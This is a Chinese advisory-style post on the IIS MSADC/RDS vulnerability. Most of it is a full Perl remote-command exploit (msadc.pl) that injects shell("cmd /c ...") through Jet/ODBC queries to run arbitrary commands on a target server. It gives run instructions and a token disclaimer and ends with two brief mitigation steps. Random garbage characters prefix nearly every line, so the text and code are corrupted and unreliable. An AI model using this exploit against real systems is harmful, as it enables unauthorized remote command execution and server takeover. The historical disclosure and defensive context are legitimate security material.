IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
& m'ttUG? vIoV(rc+ 涉及程序：
?Q< o-o;B Microsoft NT server
S&C r= " wd 描述：
gGiLw5o, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
l9J ]<gG n j7wc9z4 详细：
z'G~b[kG4n 如果你没有时间读详细内容的话，就删除:
^}-(8~_en c:\Program Files\Common Files\System\Msadc\msadcs.dll
{ER%r'(4Z 有关的安全问题就没有了。
QX*HvT =/k*w#j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0wmz 2zKV j]#- D IL 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
' Vp6=,P 关于利用ODBC远程漏洞的描述，请参看:
4 I> I 9Fl}"p[>L. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;btH[a iV z k[%YG& 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
P | [i{h http://www.microsoft.com/security/bulletins/MS99-025faq.asp EcA @bZ0 *CA7
{2CX 这里不再论述。
Ba$Ibq,r/ i6^COr 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
w/KCu W< {5f? y\Z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(]|rxmycA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2/9P&c-r p [8k7-}[ B}.G(-u?7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
2Et7o/\< k-LB %\p #!perl
Tm8c:S^uq) #
!!=%ty
# MSADC/RDS 'usage' (aka exploit) script
):.
+ u= #
p7"o:YSQ # by rain.forest.puppy
\(lt [= #
DR`d^aBWQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|( e `V
# beta test and find errors!
QY<{S&k9 4s<*rKm~ use Socket; use Getopt::Std;
pcM'j #; getopts("e:vd:h:XR", \%args);
|M?yCo =H_|007C print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
t(4%l4i;X YQ`GOP#/ if (!defined $args{h} && !defined $args{R}) {
8F (_V qu print qq~
$ vS`w4Y Usage: msadc.pl -h <host> { -d <delay> -X -v }
N/A. 1W -h <host> = host you want to scan (ip or domain)
OT_ w<te -d <seconds> = delay between calls, default 1 second
#'Q_eBX -X = dump Index Server path table, if available
p;!'5 f -v = verbose
cS98%@ DR -e = external dictionary file for step 5
Ks.pb !r @`N)`u85[ Or a -R will resume a command session
T4`.rnzyRb mAk@Q|u ~; exit;}
.1u"16 _ <;d ?E%` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&Bbs\
; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
a G^kL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
54kd>)|"ag if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&v+8RY^F= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
eu(1bAfS&T if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
mbBd3y %3 ecV$ if (!defined $args{R}){ $ret = &has_msadc;
8>TDrpT} die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
& p 1Et 9-DDly [)4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
S~+}_$ . "cmd /c ";
k`W.tMo $in=<STDIN>; chomp $in;
}LNpr $command="cmd /c " . $in ;
#msXAy$N3r f i-E_ if (defined $args{R}) {&load; exit;}
r'/7kF- 5 b$P=rIB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8>Hnv]p &try_btcustmr;
7FMg6z8~ '&5A*X]d print "\nStep 2: Trying to make our own DSN...";
qb y! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
N(v<*jn A]2zK?|s print "\nStep 3: Trying known DSNs...";
dA[Z\ &known_dsn;
!GcH ) M0<gea\ = print "\nStep 4: Trying known .mdbs...";
iWu$$IV?- &known_mdb;
|1G /J[E U}7 a;4? if (defined $args{e}){
"
1YARG u print "\nStep 5: Trying dictionary of DSN names...";
tL1"Dt> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
u>j:8lhtV x68$?CD print "Sorry Charley...maybe next time?\n";
s m-RpZ&| exit;
"Y 9
*rL Exox&T ##############################################################################
'vT
XR_D & ZgB b sub sendraw { # ripped and modded from whisker
(eI'%1kS< sleep($delay); # it's a DoS on the server! At least on mine...
N3Ub|$}q my ($pstr)=@_;
mh> )N" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5V\\w ~&/ die("Socket problems\n");
2HBYReQ if(connect(S,pack "SnA4x8",2,80,$target)){
U Bp0;)- select(S); $|=1;
Bry\"V"'g print $pstr; my @in=<S>;
+(VHnxNQs select(STDOUT); close(S);
eN@V?G26K return @in;
N<$U:!Z } else { die("Can't connect...\n"); }}
F{\MIuoy -.: [a3c? ##############################################################################
[ "}0 umt vW`{BWd sub make_header { # make the HTTP request
DQ ^yqBVgQ my $msadc=<<EOT
NrVrR80Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_ 9 7 User-Agent: ACTIVEDATA
f{ [U->#^ Host: $ip
|D
u.aN Content-Length: $clen
MV5'&" ,oB Connection: Keep-Alive
K'~wlO@O }zi:nSpON ADCClientVersion:01.06
]Kb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JK.lL]<p i |l(rR06#.] --!ADM!ROX!YOUR!WORLD!
wE:hl Content-Type: application/x-varg
7nB@U$]-Sz Content-Length: $reqlen
QIVpO /@ 6|3$43J,F EOT
,9gyHQ~ ; $msadc=~s/\n/\r\n/g;
Er?Wg 09 return $msadc;}
|*"uj .4A4\-Cqe ##############################################################################
SlI0p&2, WK]SHi HD sub make_req { # make the RDS request
<#JJS}TLk my ($switch, $p1, $p2)=@_;
S P)$K= my $req=""; my $t1, $t2, $query, $dsn;
?J,hv'L] A@#9X'C $^ if ($switch==1){ # this is the btcustmr.mdb query
a? K = $query="Select * from Customers where City=" . make_shell();
wy"^a45h $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Z3Os9X9p $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
JX(J Z/8B^ l q=| = elsif ($switch==2){ # this is general make table query
^ Afq)26D $query="create table AZZ (B int, C varchar(10))";
' x
B BQP $dsn="$p1";}
z-K?Ak B1 u&1n~ t` elsif ($switch==3){ # this is general exploit table query
:)X?M L ? $query="select * from AZZ where C=" . make_shell();
d9h"Q $dsn="$p1";}
gUzCD B^.: g
nJe!E elsif ($switch==4){ # attempt to hork file info from index server
nJ |O,*`O $query="select path from scope()";
1$e z}k, $dsn="Provider=MSIDXS;";}
:ak D kxp $Nnk elsif ($switch==5){ # bad query
\](I BI: $query="select";
M@fUZh
$dsn="$p1";}
/Za'L#=R <_-&{Pv $t1= make_unicode($query);
+ia F$ $t2= make_unicode($dsn);
a@Tn_yX $req = "\x02\x00\x03\x00";
#+p30?r0y $req.= "\x08\x00" . pack ("S1", length($t1));
~,KAJ7O_ $req.= "\x00\x00" . $t1 ;
|\"vHt?@G $req.= "\x08\x00" . pack ("S1", length($t2));
ZYZQ?FN $req.= "\x00\x00" . $t2 ;
F;Ms6 "K $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|2(z<b&y= return $req;}
Z {RRhJ 4 F~e3 ##############################################################################
a(&!{Y1bt ]uO 8 sub make_shell { # this makes the shell() statement
w-\U;& 8 return "'|shell(\"$command\")|'";}
&hWLG<IE [?VYxX@ ##############################################################################
6z@OGExmd# 68?oV)fE sub make_unicode { # quick little function to convert to unicode
"| w..%Wc my ($in)=@_; my $out;
:L<$O7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
N8|=K_;& return $out;}
Tyt:Abym= Cr|v3Y#h' ##############################################################################
I9P< !#q> e_s9E{( sub rdo_success { # checks for RDO return success (this is kludge)
A,D67G<v` my (@in) = @_; my $base=content_start(@in);
jV)!9+H# if($in[$base]=~/multipart\/mixed/){
5\1Z"? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
8$a4[s
return 0;}
gv$ 6\1 /'?Fz*b ##############################################################################
c\~H_ ~F G %~=hEK0 sub make_dsn { # this makes a DSN for us
9'F-D my @drives=("c","d","e","f");
E15"AO print "\nMaking DSN: ";
-C.x;@!k foreach $drive (@drives) {
%0T/>:1[E print "$drive: ";
eA9U|&o my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
MN\/ F4Io "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
q +2yp&zF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|eL&hwqzG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
a6=mE?JTB return 0 if $2 eq "404"; # not found/doesn't exist
1 Y_e1tgmm if($2 eq "200") {
k^AI7H foreach $line (@results) {
;;'b;,/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
jq(3y|6, } return 0;}
Knsb`1"E^6 R_ J =x ##############################################################################
ZxkX\gl91 <K!5N&vh sub verify_exists {
R L/~E
xYC my ($page)=@_;
6W$ #`N> my @results=sendraw("GET $page HTTP/1.0\n\n");
E 5}T_~-{ return $results[0];}
Im%| 9g;P |8}f ##############################################################################
Lu\]]m @<Au|l` sub try_btcustmr {
2pFOC;tl my @drives=("c","d","e","f");
? ^ P#P0 my @dirs=("winnt","winnt35","winnt351","win","windows");
FV^CSaN[R eU_|. 2 foreach $dir (@dirs) {
NWPL18*C print "$dir -> "; # fun status so you can see progress
Ga~N7 foreach $drive (@drives) {
Mp; t?C4 print "$drive: "; # ditto
hABC
rd Em $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0$l=ME( $reqlenlen=length( "$reqlen" );
`*PVFm> $clen= 206 + $reqlenlen + $reqlen;
6u/ 3"A]' x^_Wfkch] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kH*l83 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9oS \{[x. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\@nmM&7C!4 yA tM|:qq ##############################################################################
"lLt=s2>L zNRoFz. sub odbc_error {
lqA U5K{wQ my (@in)=@_; my $base;
USu/Y29 my $base = content_start(@in);
( FZL> if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8h9t8? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a*&P>Lwe7& $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6"WR}S0o $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A=|LMJMWR return $in[$base+4].$in[$base+5].$in[$base+6];}
_dppUUm print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
D
h ]+HF print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$1oU^V Y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]+)z}lr8 C N%6jZmKip ##############################################################################
%*OKhrM E*IkI))X0 sub verbose {
Vi`+2%4 my ($in)=@_;
gwQL9
UYx return if !$verbose;
,HS\(Z print STDOUT "\n$in\n";}
1YR;dn N'Va&"&73> ##############################################################################
_6THyj$f K2nq2Gbn sub save {
1iaNb[:QX my ($p1, $p2, $p3, $p4)=@_;
{@g3AG% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
I%%\ ;Dy print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
x*5'
6 close OUT;}
Q@%VJPLv. jEklf0 Z ##############################################################################
hbR;zV|US NI=t)[\F sub load {
<Sm -Z,| my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
s2g}IZfo open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]tH/87qJ @p=<IN>; close(IN);
btw_k+ Fh $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+^<CJNDL9 $target= inet_aton($ip) || die("inet_aton problems");
hF+YZU]rT print "Resuming to $ip ...";
\l_RyMi $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
.r SeJZzuj if($p[1]==1) {
~CldqXeI $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2i',
e $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#^< 7VS!x my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
h0 Acpd2 if (rdo_success(@results)){print "Success!\n";}
nXK"B Ye else { print "failed\n"; verbose(odbc_error(@results));}}
5ejdf elsif ($p[1]==3){
*gHOH!K,S if(run_query("$p[3]")){
&PD4+%! print "Success!\n";} else { print "failed\n"; }}
Ive tQ+ elsif ($p[1]==4){
gd.P%KC!g if(run_query($drvst . "$p[3]")){
@z$V(}(O^ print "Success!\n"; } else { print "failed\n"; }}
) !3XM exit;}
Cst\ _j Bcrd}'no ##############################################################################
zF< *h ~ v[CX-CBZ? sub create_table {
- x3QgDno my ($in)=@_;
6VolTy@(x $reqlen=length( make_req(2,$in,"") ) - 28;
cg7NtY $reqlenlen=length( "$reqlen" );
JoKD6Q1D $clen= 206 + $reqlenlen + $reqlen;
1mL--m'r my @results=sendraw(make_header() . make_req(2,$in,""));
Nol',^) return 1 if rdo_success(@results);
$rs7D}VNc my $temp= odbc_error(@results); verbose($temp);
T{]Tb= return 1 if $temp=~/Table 'AZZ' already exists/;
s7 O?)f f return 0;}
9 NaC7D$, u)&6;A4 ##############################################################################
5'\/gvxIC a ~OCo sub known_dsn {
,nMLu a\ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,f$A5RN my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Qz{:m "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!fwLC"QC "banner", "banners", "ads", "ADCDemo", "ADCTest");
Xo(K*eIN 6 )0$UW foreach $dSn (@dsns) {
WXNJc print ".";
nfy"M),et next if (!is_access("DSN=$dSn"));
8_U*_I7( if(create_table("DSN=$dSn")){
dSs Ma3X[n print "$dSn successful\n";
CeR4's7 if(run_query("DSN=$dSn")){
6aCAz2 / print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P_hwa1~d print "Something's borked. Use verbose next time\n";}}} print "\n";}
{#=q[jVi%1 %whPTc0P ##############################################################################
5 LhFD hc>hNC :a sub is_access {
>T.U\,om7 my ($in)=@_;
e.\ d7_T+ $reqlen=length( make_req(5,$in,"") ) - 28;
H h$D:ZO $reqlenlen=length( "$reqlen" );
| g> K$m^ $clen= 206 + $reqlenlen + $reqlen;
[@#P3g\:>W my @results=sendraw(make_header() . make_req(5,$in,""));
I6YN&9Y my $temp= odbc_error(@results);
],>Z' W verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`"I^nD^t>Y return 0;}
R2x(8k"LPU
NJs )2 ##############################################################################
\M=" R-&b T*J]e|aF sub run_query {
$4 >K2 my ($in)=@_;
p:k>!8.Qho $reqlen=length( make_req(3,$in,"") ) - 28;
O ]m,zk $reqlenlen=length( "$reqlen" );
Sq-mH=r s] $clen= 206 + $reqlenlen + $reqlen;
s=~r. x my @results=sendraw(make_header() . make_req(3,$in,""));
r@"Vb q% return 1 if rdo_success(@results);
_R]la&^2F\ my $temp= odbc_error(@results); verbose($temp);
rxIfatp^ return 0;}
*7nlel 3tS~/o+]
##############################################################################
mcb0% #]:yCiA sub known_mdb {
U|u v SJ)X my @drives=("c","d","e","f","g");
h?bm1e5kE my @dirs=("winnt","winnt35","winnt351","win","windows");
e}(ws~. my $dir, $drive, $mdb;
%1 @+p f/ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ga sIOPzK d;:+Xd` # this is sparse, because I don't know of many
b0tr)>d my @sysmdbs=( "\\catroot\\icatalog.mdb",
;-n+=@]7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
mxq'A "\\system32\\certmdb.mdb",
3Q ~ng2Wv% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
puL1A?Y8UM |0 B h my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0kQAT # "\\cfusion\\cfapps\\forums\\forums_.mdb",
N02N
w(pi "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
fi:Z*- "\\cfusion\\cfapps\\security\\realm_.mdb",
j*q]-$ 2E "\\cfusion\\cfapps\\security\\data\\realm.mdb",
NL0X =i "\\cfusion\\database\\cfexamples.mdb",
op"RrZAZBT "\\cfusion\\database\\cfsnippets.mdb",
My:wA;# "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
] 5YG*sD4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
lk%rE
"\\cfusion\\brighttiger\\database\\cleam.mdb",
3vHEPm] "\\cfusion\\database\\smpolicy.mdb",
O>Xyl4U "\\cfusion\\database\cypress.mdb",
$a(wM1S4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
hR[Q du6r "\\website\\cgi-win\\dbsample.mdb",
xdXt "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
C*/d%eHD "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@PU%BKe ); #these are just
$0AN5 |`g\ foreach $drive (@drives) {
\H*"UgS foreach $dir (@dirs){
gK9@-e foreach $mdb (@sysmdbs) {
x
a7x
2]~- print ".";
7 1@V|$Dy if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
SE;Jl[PgcL print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
qI)
Yzc/ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ORA +> print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ZxwI< T:& } else { print "Something's borked. Use verbose next time\n"; }}}}}
w6qx ]} w ~fjq foreach $drive (@drives) {
cIw)ScY foreach $mdb (@mdbs) {
0%cbno@1V print ".";
`(q+@ # ) if(create_table($drv . $drive . $dir . $mdb)){
*<i
{
Mb Q print "\n" . $drive . $dir . $mdb . " successful\n";
p 4fU/ if(run_query($drv . $drive . $dir . $mdb)){
: ,fs' ! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{3i.U028] } else { print "Something's borked. Use verbose next time\n"; }}}}
4@.qM6 \\q }
v<ASkkh> Elo m _ ##############################################################################
{uM*.] <Koi Z{V sub hork_idx {
f2`[skNj print "\nAttempting to dump Index Server tables...\n";
Ev,>_1#Xm print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x<>#G~- $reqlen=length( make_req(4,"","") ) - 28;
D2# 3fM6 $reqlenlen=length( "$reqlen" );
,_!pUal $clen= 206 + $reqlenlen + $reqlen;
Z]@my,+Z; my @results=sendraw2(make_header() . make_req(4,"",""));
rFh!&_ if (rdo_success(@results)){
z{wJQZ9" my $max=@results; my $c; my %d;
+4Aj/$%[q for($c=19; $c<$max; $c++){
etMQy6E\ $results[$c]=~s/\x00//g;
DJdW$S7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
o+*YX!]#L $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H{x'I@+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%c<e`P; $d{"$1$2"}="";}
>=G;rs foreach $c (keys %d){ print "$c\n"; }
v,I4ozDx } else {print "Index server doesn't seem to be installed.\n"; }}
7 y5`YJ}! l ~b# Y & ##############################################################################
-y|>#`T/ y'((
tBWa! sub dsn_dict {
r5M {* open(IN, "<$args{e}") || die("Can't open external dictionary\n");
M+j V`J! while(<IN>){
2F%2K?$`Ej $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
iH<:wLY&J next if (!is_access("DSN=$dSn"));
3k(A&]~v if(create_table("DSN=$dSn")){
H*51GxK print "$dSn successful\n";
{$-lXw4 if(run_query("DSN=$dSn")){
/'' |bIPa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?41bZ$j print "Something's borked. Use verbose next time\n";}}}
io%WV %1_ print "\n"; close(IN);}
mhVds a ,P ~jO ##############################################################################
s;e %*4 (yA`h@@WS sub sendraw2 { # ripped and modded from whisker
PvF3a `&r sleep($delay); # it's a DoS on the server! At least on mine...
fm]mqO my ($pstr)=@_;
)-VpDW!%_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
N iw~0"-V die("Socket problems\n");
ywQ[>itMa if(connect(S,pack "SnA4x8",2,80,$target)){
dD YD6 print "Connected. Getting data";
H c,e &R open(OUT,">raw.out"); my @in;
=\~<##sRJ select(S); $|=1; print $pstr;
>n$V1U&/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
uaghB,i'n close(OUT); select(STDOUT); close(S); return @in;
RwKnNIp } else { die("Can't connect...\n"); }}
O{^8dwg JOwm|%>3a ##############################################################################
B^Sxp=~Au jKr\mb sub content_start { # this will take in the server headers
|ht:_l
8 my (@in)=@_; my $c;
7md,!|m for ($c=1;$c<500;$c++) {
gZq _BY_U if($in[$c] =~/^\x0d\x0a/){
fVf
@Ngvu if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(;VlK#rnC else { return $c+1; }}}
":@\kw return -1;} # it should never get here actually
~'1gX`o: &A}hx\_T ##############################################################################
B']-4X{SGa fk&>2[^& sub funky {
DwmK?5 p my (@in)=@_; my $error=odbc_error(@in);
sg` if($error=~/ADO could not find the specified provider/){
(yrN-M4~t print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:3b.`s(M exit;}
bo S= if($error=~/A Handler is required/){
A |u-VXQ print "\nServer has custom handler filters (they most likely are patched)\n";
Mc,3j~i exit;}
?_ 476A if($error=~/specified Handler has denied Access/){
ci
4K
Nv; print "\nServer has custom handler filters (they most likely are patched)\n";
~aPe?{yIUa exit;}}
f8e :J#jbS jYU N: ##############################################################################
L:j3 d! {]CZ"@ sub has_msadc {
%(&$CmS@ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
CKI.\o my $base=content_start(@results);
uM)#T*( return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
JAx0( MZO return 0;}
x52#md-Z Ty<."dyPW ########################
unKPqc%q=n e&nE f+ !k:}K 解决方案：
)Fgu' 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
y0f:N
U 2、移除web 目录: /msadc
